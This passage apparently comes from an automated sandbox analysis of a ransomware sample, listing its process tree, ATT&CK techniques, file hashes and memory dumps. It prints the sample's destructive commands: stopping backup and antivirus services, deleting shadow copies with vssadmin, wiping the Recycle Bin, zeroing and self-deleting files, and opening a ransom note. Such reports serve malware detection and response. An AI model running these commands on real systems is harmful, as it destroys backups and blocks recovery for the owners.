  PID:1100
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5732
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4748
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5724
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:212
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5560
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4168
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:5488
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:3160
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5480
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4360
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5524
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:5068
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5836
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4652
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:5992
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:4720
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5844
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:2568
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5716
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3248
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:6056
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1508
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:5788
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5032
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6116
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3892
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:5780
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3276
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:5920
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4344
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:5636
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:348
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:5568
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1240
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5644
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:4660
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:5852
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:4620
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:772
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:4696
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:3364
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:420
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4044
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - System Location Discovery: System Language Discovery
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4580
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  - Interacts with shadow copies
  PID:2884
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
  2⤵
  - System Location Discovery: System Language Discovery
  - Interacts with shadow copies
  PID:1636
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - System Location Discovery: System Language Discovery
  - Interacts with shadow copies
  PID:984
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
  2⤵
  - System Location Discovery: System Language Discovery
  - Interacts with shadow copies
  PID:4116
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - System Location Discovery: System Language Discovery
  - Interacts with shadow copies
  PID:4640
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - System Location Discovery: System Language Discovery
  - Interacts with shadow copies
  PID:2772
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - System Location Discovery: System Language Discovery
  - Interacts with shadow copies
  PID:4356
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - System Location Discovery: System Language Discovery
  - Interacts with shadow copies
  PID:4252
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:3328
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - System Location Discovery: System Language Discovery
  - Interacts with shadow copies
  PID:1880
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1576
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - System Location Discovery: System Language Discovery
  - Interacts with shadow copies
  PID:2260
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:4544
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4296
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:3052
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp8702.bat
  2⤵
  PID:2356
- C:\Windows\SysWOW64\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - System Location Discovery: System Language Discovery
  - Opens file in notepad (likely ransom note)
  PID:5500
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:1012
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1936
- - C:\Windows\SysWOW64\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3056
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5376
- - C:\Windows\SysWOW64\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:4800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
384b04c49b9ed554108262b44614ee47

SHA1
e58d9dd670405084d0d7c5b02c5276006795abb1

SHA256
f9183e83066ae37e1a343de924be5dde1e92bdb5529e35ad19100aa8f734513b

SHA512
d18f7b7db6aedfe54f6545949b254f674fad21efba4248729b5034b867be734a03016d349c2a20192b1722f0a8cf831f13dc5df07a295b41b05fecdec94c5b05

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dchkotyr.w0o.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/2516-0-0x00000000734EE000-0x00000000734EF000-memory.dmp

Filesize
4KB

Download
memory/2516-1-0x0000000000600000-0x000000000061C000-memory.dmp

Filesize
112KB

Download
memory/2516-2-0x00000000734E0000-0x0000000073BCE000-memory.dmp

Filesize
6.9MB

Download
memory/2516-390-0x00000000734E0000-0x0000000073BCE000-memory.dmp

Filesize
6.9MB

Download
memory/4984-16-0x0000000008490000-0x00000000084AC000-memory.dmp

Filesize
112KB

Download
memory/4984-57-0x00000000098B0000-0x00000000098E3000-memory.dmp

Filesize
204KB

Download
memory/4984-7-0x00000000075E0000-0x0000000007602000-memory.dmp

Filesize
136KB

Download
memory/4984-17-0x00000000088F0000-0x000000000893B000-memory.dmp

Filesize
300KB

Download
memory/4984-10-0x0000000008040000-0x0000000008390000-memory.dmp

Filesize
3.3MB

Download
memory/4984-18-0x00000000086F0000-0x0000000008766000-memory.dmp

Filesize
472KB

Download
memory/4984-9-0x0000000007D70000-0x0000000007DD6000-memory.dmp

Filesize
408KB

Download
memory/4984-8-0x0000000007D00000-0x0000000007D66000-memory.dmp

Filesize
408KB

Download
memory/4984-59-0x0000000009650000-0x000000000966E000-memory.dmp

Filesize
120KB

Download
memory/4984-58-0x000000006F0E0000-0x000000006F12B000-memory.dmp

Filesize
300KB

Download
memory/4984-64-0x00000000099E0000-0x0000000009A85000-memory.dmp

Filesize
660KB

Download
memory/4984-65-0x0000000009B90000-0x0000000009C24000-memory.dmp

Filesize
592KB

Download
memory/4984-269-0x0000000009B30000-0x0000000009B4A000-memory.dmp

Filesize
104KB

Download
memory/4984-276-0x0000000009B20000-0x0000000009B28000-memory.dmp

Filesize
32KB

Download
memory/4984-6-0x00000000076D0000-0x0000000007CF8000-memory.dmp

Filesize
6.2MB

Download
memory/4984-5-0x0000000004CA0000-0x0000000004CD6000-memory.dmp

Filesize
216KB

Download